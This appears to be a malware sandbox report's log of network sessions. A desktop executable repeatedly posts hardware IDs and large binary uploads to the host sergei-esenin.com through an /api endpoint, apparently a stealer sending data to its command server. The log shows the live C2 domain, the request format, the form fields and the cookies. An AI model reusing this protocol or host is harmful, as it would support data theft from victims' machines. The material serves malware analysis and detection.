2024-10-23 13:48:10 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 39 45 46 37 32 38 45 43 43 38 31 41 44 34 34 30 38 45 41 35 33 37 32 32 42 31 46 39 45 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A69EF728ECC81AD4408EA53722B1F9E6--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-23 13:48:10 UTC	1028	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a713u2btcq1i9g118ugl3bl05k; expires=Sun, 16 Feb 2025 07:34:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ocOCL0zYRo81%2FeWjw0Rub%2F%2FEcM%2FUXtDQI%2Fsy%2F7yb3qhOWCTeIxc5Zc3KymfDwgeyHGYZzlOCmz%2FnMmBMN2u8Ve0drqxBfKbR8ChVaLId%2FL1ay6y4d3dwIAealhOm0LhDPxGPfQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d722ee47a1b0be8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1490&sent=8&recv=19&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16112&delivery_rate=2109249&cwnd=251&unsent_bytes=0&cid=03342b7f0607bd08&ts=562&x=0"
2024-10-23 13:48:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-23 13:48:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	172.67.206.204	443	5328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 13:48:11 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=5zWGTyt71yoWCR1ydECoD5AF9g9Gr5vuuYLHKF9_nrs-1729691286-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: sergei-esenin.com
2024-10-23 13:48:11 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 39 45 46 37 32 38 45 43 43 38 31 41 44 34 34 30 38 45 41 35 33 37 32 32 42 31 46 39 45 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A69EF728ECC81AD4408EA53722B1F9E6--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-23 13:48:11 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-23 13:48:12 UTC	1024	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fe36k9mbeuvjl2hfhkv730vpd7; expires=Sun, 16 Feb 2025 07:34:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S1odMVmmY9ZpSJ3%2FeNRqSC714uoozGmamYZ7fMD3mhLJomfC7HnfDjkf8PVz6A1O%2BKPWT4Z8JbB06vpzC8QXS%2F0DT0m%2FTZxGw%2BpmvBJ3Qo0fPBLd2QHcqEE8d7JYRuk%2FXizaUQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d722eece8da473e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=991&sent=13&recv=27&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21624&delivery_rate=2842001&cwnd=251&unsent_bytes=0&cid=ddd4d4ccc9332f13&ts=701&x=0"
2024-10-23 13:48:12 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-23 13:48:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	172.67.206.204	443	5328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 13:48:13 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=5zWGTyt71yoWCR1ydECoD5AF9g9Gr5vuuYLHKF9_nrs-1729691286-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1254 Host: sergei-esenin.com
2024-10-23 13:48:13 UTC	1254	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 39 45 46 37 32 38 45 43 43 38 31 41 44 34 34 30 38 45 41 35 33 37 32 32 42 31 46 39 45 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A69EF728ECC81AD4408EA53722B1F9E6--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-23 13:48:13 UTC	1020	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m1p4b466lkjfdlt4eume6p119r; expires=Sun, 16 Feb 2025 07:34:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2FAQ7aU7u6JxA%2BObK56gbhcUYKYlefNwPYOubtFNst9ZaZ%2BQxqirRj7AnYKp8DD3sTQilhGJ7YUyBKqxGF58HYwUesDKJjM2qz2L%2Bxvm%2B6seGdzBKEj5Webtb%2FSMupimfrlUpg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d722ef77e3028e6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1201&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2261&delivery_rate=2397350&cwnd=251&unsent_bytes=0&cid=b51d8160cb6237f0&ts=561&x=0"
2024-10-23 13:48:13 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-23 13:48:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49711	172.67.206.204	443	5328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 13:48:14 UTC	373	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=5zWGTyt71yoWCR1ydECoD5AF9g9Gr5vuuYLHKF9_nrs-1729691286-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551324 Host: sergei-esenin.com
2024-10-23 13:48:14 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 39 45 46 37 32 38 45 43 43 38 31 41 44 34 34 30 38 45 41 35 33 37 32 32 42 31 46 39 45 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A69EF728ECC81AD4408EA53722B1F9E6--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-23 13:48:14 UTC	15331	OUT	Data Raw: 65 c1 2c 31 ba 87 0e de f4 6d 0c af 99 a6 00 7c 7e cb 17 fc c9 72 67 bd 81 29 9b 5a cc d5 f5 07 e1 b3 52 fd 4d 52 2b ef a6 9a e5 c6 be 19 90 94 66 70 5f 0a 35 14 e1 2d a1 c5 0f bd 16 9a ff d4 f6 8f 61 ac 31 32 56 35 39 08 83 2c 9f 93 99 84 f4 40 48 72 6b 4e db 35 3e 51 74 bf a1 f1 03 e3 f7 21 93 51 64 e5 bb 0e b6 50 9e 01 42 5d e1 ab 51 cb 90 2f 31 3e 21 68 6e b5 70 d5 bd 04 9a 72 2e 78 62 f9 a7 3e f3 7a 43 d3 0c ba 06 9f eb 09 dd 51 ff 81 ef 8b 3d a6 54 8c 4b 0b 0f 28 b1 f7 10 14 08 96 c2 6f 5e 9d b4 4e 14 a0 2c 4d aa 7d 4f 0a 8b ba b0 15 1d 7c 22 72 3f dd eb 4f 99 b2 b6 36 17 54 e8 0a 8e 0c ae 28 32 fa 6e db 23 c1 71 24 f9 30 ce 3f 11 72 77 00 b5 e4 66 08 0e e2 8e 49 8c 52 fc d9 1b 4a 80 76 04 05 fb b8 85 bf f3 1b af 7c a2 09 4e 48 6c bd f0 19 4b 76 68 Data Ascii: e,1m\|~rg)ZRMR+fp_5-a12V59,@HrkN5>Qt!QdPB]Q/1>!hnpr.xb>zCQ=TK(o^N,M}O\|"r?O6T(2n#q$0?rwfIRJv\|NHlKvh
2024-10-23 13:48:14 UTC	15331	OUT	Data Raw: 38 70 af 84 0a b0 c2 12 a8 da 7c c3 74 5c 5a 2a f1 44 98 f3 9e a7 c2 ad 59 1a de d9 b1 75 4f d3 63 ea 28 03 92 de 5e 5c 15 25 a1 ab c7 c9 89 a8 b7 92 85 81 e8 4f c3 94 b8 e8 38 0a 6e 77 1b ea f6 2d 51 9f 50 3e 31 8f 14 19 87 08 37 9b 13 58 61 88 ef 2f e3 82 cb c2 8d 28 ff c4 39 c4 8b 00 25 e5 52 fe 85 da 8e 60 84 be e0 6c 6d 06 43 62 6b 55 df 78 46 e9 f7 68 95 f1 58 6d 85 f2 54 6f 82 0a 3e 3b 2e 02 53 ba ed d6 46 ac 67 56 b2 33 06 b3 be 15 a4 9a 2a cc 2d 0a 1e 69 89 64 b9 2f fc c6 09 1f 89 b4 b4 9b c8 a9 68 d3 8e 5b e3 34 b1 dc 0b 9a 66 f8 e6 9a c7 8d af dc 0e 0f 6d ae 1f 59 f7 35 a5 05 88 b6 c9 a5 46 dc ee 5d d5 22 7f f5 25 b6 19 76 84 cb 32 cf d5 e4 21 da 71 13 92 99 d2 3e 82 d5 a7 da b2 d0 5d 21 f1 33 0e 00 43 48 f8 28 1c 0f 93 31 47 5f d8 e8 e6 d2 a0 Data Ascii: 8p\|t\ZDYuOc(^\%O8nw-QP>17Xa/(9%R`lmCbkUxFhXmTo>;.SFgV3-id/h[4fmY5F]"%v2!q>]!3CH(1G_
2024-10-23 13:48:14 UTC	15331	OUT	Data Raw: 67 7f f8 7d 49 33 fe ef 9d ad 10 43 2f 3a a8 ef f9 1c ff 8f 10 42 07 98 53 47 7e 46 61 ab 00 0f ce e1 ed 30 80 77 e7 90 c7 d2 9d c9 d9 ff f7 ec f0 53 a0 eb 0c d2 82 61 e4 a6 01 bd 3b fd 2a b0 76 c7 37 b4 f3 81 f8 59 ef 0e 9d be 48 b7 62 b1 97 af d2 03 5a 2c d0 e4 7f 60 0f e1 38 09 78 8f 4b 58 a9 2a 90 3a 2f ca e8 fc f3 84 ce d8 3e 0c 3b 12 6c 8a 71 7e a7 6d 9a f0 80 87 0f 65 1a a9 93 eb 87 23 a8 ff fd f1 9b 52 38 ff 4f 4e 84 18 df cd 24 33 d8 21 10 08 92 19 bf 02 55 19 65 a5 f4 a4 1b a4 0a d4 f4 45 ea 37 01 46 ba 84 38 1a 4e 7e 1c 47 e0 44 97 88 ad fc b6 0a 3f ea d1 c7 fb 15 e7 48 6d dc d5 8c df d3 ac bc 52 a7 95 a5 98 38 92 e4 92 8e 0e ef 33 3d 58 89 66 67 e3 d7 56 1c d7 84 05 76 0b e6 17 90 f5 b0 e2 1d 3f c7 c0 91 66 8a 22 42 b5 d8 3f 69 d5 cf d6 e5 06 Data Ascii: g}I3C/:BSG~Fa0wSa;v7YHbZ,`8xKX:/>;lq~me#R8ON$3!UeE7F8N~GD?HmR83=XfgVv?f"B?i
2024-10-23 13:48:14 UTC	15331	OUT	Data Raw: f4 40 b6 5f 1a cb 6a cd e4 ec 25 72 d5 a6 df 9a 3e 1e 3f 71 9c f3 ee fc 1c 9f 14 fe 00 9e 8e e0 55 16 ce f5 6d 78 73 d8 8d 34 24 27 f1 b1 1b e2 4d 93 99 46 1f 14 ea aa 17 47 3a 2b 02 25 7f 9f 51 66 28 88 bc 02 74 3c c7 4f 3b 33 3a ac 43 c3 03 42 5e 72 4c 08 e2 78 03 25 26 b6 f8 06 19 45 0e c5 b1 84 fd 76 c6 11 c8 8f 1d 97 b7 3b 46 4c 2a 30 90 15 da b7 e7 1c cb fd d4 09 2f 31 1d b1 ed 9f cb 27 35 31 f7 e5 42 ef fc 3b 9d e4 3e 33 43 4a 5b 93 dc 4c f4 c6 ef 03 e7 3e 38 35 19 77 1e 04 2f 0f 27 79 f2 71 96 fa 60 6d ed d3 88 56 c4 35 85 60 c3 b4 2f ca fd dd 10 a2 c5 39 75 7c 50 31 f4 f2 bf b7 a0 0a 0b 9f 8b 0b 59 67 5d 02 71 a5 10 83 00 7f 0d c4 58 42 20 75 8e 51 68 93 79 41 42 d7 e8 07 94 59 fb 61 66 73 14 45 de fa d8 fe 78 a6 25 17 61 ee 2f da 95 2c c6 33 1e Data Ascii: @_j%r>?qUmxs4$'MFG:+%Qf(t<O;3:CB^rLx%&Ev;FL*0/1'51B;>3CJ[L>85w/'yq`mV5`/9u\|P1Yg]qXB uQhyABYafsEx%a/,3
2024-10-23 13:48:14 UTC	15331	OUT	Data Raw: cf b9 47 a4 08 80 69 5b 6f a9 03 a9 6e 02 29 d4 a1 8d 26 34 3c cc 09 71 3b 9b bf ce 99 ad 4e 28 35 62 77 4b a1 5e 69 b0 da b1 13 3d b0 a2 55 0f bc 66 f8 fb 0a 09 47 00 0b ac e5 3f 04 d6 17 f8 35 f9 c1 11 44 21 05 e8 b4 2d f0 e7 64 d4 92 b4 39 31 ac 8c 0a ae 18 a8 7a e7 ed b3 32 f4 59 6d 6b 9e 3d f6 9f b7 02 47 18 38 87 9d c1 82 58 5e a0 b9 d0 c2 e4 2f fe 73 1c 87 e2 79 a1 65 f7 39 66 c8 fe ab 90 6e 8d 74 ca b4 a0 4a 54 44 6f f6 66 84 bc 2a 42 9a 59 df 7c 92 1c 31 65 2e f8 ae 42 d3 64 40 c7 a3 24 f2 10 79 cd b3 43 6f fe 43 c1 01 13 bf df 38 23 3d ac 04 50 c1 46 99 02 f8 8a b5 3a 1a 8a c5 80 ad a7 d2 3a 2a 20 97 e0 6b a7 09 7d a4 c1 ad 97 21 86 a5 dc 4e 9c 08 83 99 e2 5d b7 67 5e 8c a7 6e 46 c3 27 41 32 41 dd 87 27 33 82 1c 62 e6 aa 38 cc 88 c7 c4 76 1c fb Data Ascii: Gi[on)&4<q;N(5bwK^i=UfG?5D!-d91z2Ymk=G8X^/sye9fntJTDofBY\|1e.Bd@$yCoC8#=PF:: k}!N]g^nF'A2A'3b8v
2024-10-23 13:48:14 UTC	15331	OUT	Data Raw: b6 27 21 42 6d 66 c5 5a d7 cf 9c 23 2a 3c 23 e7 e3 8e 6d b7 78 ac 95 27 f0 67 b4 cb 54 15 ba fc df 3e 34 23 46 c3 72 fc 57 71 5a b5 84 8c 3f 7c 7e a7 6b 01 5b 55 02 d5 85 7b 12 a8 f5 e3 84 4d e6 d1 a8 f7 e2 5a e3 e0 5b ea 89 b4 10 89 4c e5 09 84 1d 93 62 1f fe 87 2f 4f 91 45 42 b0 4f 9e 2b fb dd 1f dc 7c 2f bf 66 d6 4e 9b a7 cf 4d ab 2c c1 88 1d 86 7b 3d f9 4e 52 c4 d1 49 2d 14 ed de 56 9b d8 68 d8 6f f4 4d bd e6 78 6f 76 76 5b 09 64 ed 20 c2 4f e1 df 90 c0 5f 75 88 fd 33 48 94 82 f1 88 b7 2d 6d 87 70 6a 0a 27 2f 35 bc 33 46 75 95 15 dd 53 c8 49 d4 1c e7 b8 be 4c c2 5b dd 23 cd 1a fa 61 af 9f 93 a1 25 7a 27 c0 6d a5 2c 81 a9 ce a9 02 7f d4 de 32 d7 41 9b 16 93 3c f3 76 03 84 24 78 1b 9c b8 8c bc b8 ef 45 61 22 8c 27 59 b9 a4 a3 83 e1 5b 2a cc 1c 1f 72 e5 Data Ascii: '!BmfZ#<#mx'gT>4#FrWqZ?\|~k[U{MZ[Lb/OEBO+\|/fNM,{=NRI-VhoMxovv[d O_u3H-mpj'/53FuSIL[#a%z'm,2A<v$xEa"'Y[r
2024-10-23 13:48:14 UTC	15331	OUT	Data Raw: ff 3e d1 3f 26 db 06 e5 41 9e 46 b0 c6 5b 63 f5 59 25 42 09 12 fe 85 ac 7f 71 3d a9 5a 09 8d 6d 76 6f 17 2b df 7b ce 21 bd 12 e3 1b 48 20 13 1a ca b4 28 d8 4b 37 08 03 31 da 86 78 a1 86 11 e3 10 df 0e f7 8b 0f b1 97 ea 0c e4 f1 c5 a8 2b e9 84 bb 87 cd 5a bc 2f 3d 20 64 3a f9 b1 7f d3 2d b3 6b 80 5f 14 55 fb df 93 f1 e2 e0 90 e4 a3 dd 7e 83 c2 c5 c0 dd f1 ad 22 98 95 43 4c 90 f2 03 38 be e8 53 5f d4 69 a7 8f 93 be d2 9c 35 45 e9 4b 8d d1 4d 48 d4 40 5a 31 28 1c e2 43 04 28 42 ad 3d fd 16 e1 86 d6 ab 2d 96 52 e7 74 f1 ed 11 b4 00 ef 42 09 f0 14 26 be bb 20 4c ca 7d 84 5d 0c 5a eb 3f 12 63 e8 0f 76 a6 44 fa 9e 37 61 14 be 4b 5d b2 da 39 28 5f 74 b8 01 41 7a 82 86 a5 10 62 32 6f 4f 68 fd 94 f2 38 af bf 0a d9 b0 3e 62 02 33 9c 26 63 4e 07 37 0b a5 4f b7 65 cc Data Ascii: >?&AF[cY%Bq=Zmvo+{!H (K71x+Z/= d:-k_U~"CL8S_i5EKMH@Z1(C(B=-RtB& L}]Z?cvD7aK]9(_tAzb2oOh8>b3&cN7Oe
2024-10-23 13:48:14 UTC	15331	OUT	Data Raw: af ef d9 3e ab 0b c8 60 25 2a 4c 7b 90 1f 44 33 55 ee d4 d2 82 99 8f 70 f8 49 95 76 fb 85 6a 54 59 3d 6b 31 98 9f 87 c4 43 48 f6 1e 05 61 86 b5 7e ee 0b a2 1f ea b7 ca d0 0f ef e1 4c 8a 38 9e da 69 ed 2d 70 91 23 9b 8d 27 e2 15 06 58 63 41 05 5e 66 31 71 d1 b7 2a ac bb 54 07 5b e1 df 2b e2 fb 62 37 c4 6e 76 b3 54 79 83 2a d5 a2 bf 37 99 71 9b f3 1f 5a 8f 0d 3f 74 8f 0a 71 22 d4 ef ef 1f 51 5a 65 2a 87 27 84 a8 85 0c 95 45 21 e8 bb d3 e3 c3 40 59 18 df 0b 78 4d 7a 8e 9f f6 60 79 fd d7 30 6c fe db bb bc 0b e0 26 52 7f 1e 17 02 c7 de db 9b 11 9f 17 23 dd 9b 3e 54 18 fe ae 89 17 28 f8 96 cd 98 38 5c 30 ca 0d 9f 3c a0 47 9d 1c f3 38 fe a4 96 0c f4 c4 a6 01 c2 fd 52 41 19 54 50 51 8d a5 47 21 0b a0 85 cc e4 2e 80 d2 ee c7 d7 eb c2 fe 0f dd 99 ea 3f 62 f3 f9 ae Data Ascii: >`%L{D3UpIvjTY=k1CHa~L8i-p#'XcA^f1qT[+b7nvTy7qZ?tq"QZe'E!@YxMz`y0l&R#>T(8\0<G8RATPQG!.?b
2024-10-23 13:48:14 UTC	15331	OUT	Data Raw: b0 c5 f5 25 88 12 cc 27 c7 d2 f0 29 3e 2e 0e e2 b2 57 9b 0a 33 f4 e2 43 f8 0f 71 31 28 59 48 7d 41 ac 48 d6 38 62 2e 85 97 50 f9 69 12 ff a6 45 b2 de 28 88 d0 2a 0d ef 7d b8 e6 9a 60 2a 05 7a 4d 2a 50 1a 21 0e b2 11 84 de 9b 7b 58 c9 ad 3f 3e a5 5a 18 1f 58 9f 7a 94 84 d7 10 6e 7f 87 07 c6 49 9b e7 27 f8 ef 93 3f f2 6c 40 f5 81 16 81 f7 85 3a a1 de f3 8a 97 be c6 45 d2 6d 99 0b 11 ee 03 13 a6 7a 9f 83 69 9a e8 1a 23 e3 2e 5d 10 3a ff 73 3a c3 68 20 ea 93 36 c7 75 bc 65 dd a6 65 b3 83 6f 34 a6 55 10 e1 d3 43 fa 81 0b bc 7f cd f8 f5 16 a2 b1 09 fd b1 84 cd a2 ca 89 7a f7 81 64 de 8c 38 eb 57 4f 72 e5 9b c1 cd e7 95 eb 03 36 e5 b4 9b ac 5f 73 0a 05 b4 45 56 10 f7 9c 28 44 5b 1c 22 04 90 32 c3 3e 54 6e 16 8c b9 fa 30 42 b8 43 cd e2 41 d5 d8 88 ea 15 3c 75 60 Data Ascii: %')>.W3Cq1(YH}AH8b.PiE(}`zM*P!{X?>ZXznI'?l@:Emzi#.]:s:h 6ueeo4UCzd8WOr6_sEV(D["2>Tn0BCA<u`
2024-10-23 13:48:16 UTC	1018	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p39tf815bbgm5od1o1d6knu7nv; expires=Sun, 16 Feb 2025 07:34:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=njhK1L7Wz4OwVxyPNTCBTAlhvexwfjOY9U1BuJ5Z5pN%2FxMt2UKL3uoyTUBkOSDRmZUEcoR3z8vEPjl1mYpqOLWJN2BxIWMYKbHrjMaqafhabCCQP51VeIQRhcf8UU1UKrJTAXg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d722f02186ae772-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2050&sent=207&recv=588&lost=0&retrans=0&sent_bytes=2844&recv_bytes=553895&delivery_rate=1369914&cwnd=32&unsent_bytes=0&cid=e9e21651cec46d17&ts=1669&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49712	172.67.206.204	443	5328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 13:48:17 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=5zWGTyt71yoWCR1ydECoD5AF9g9Gr5vuuYLHKF9_nrs-1729691286-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
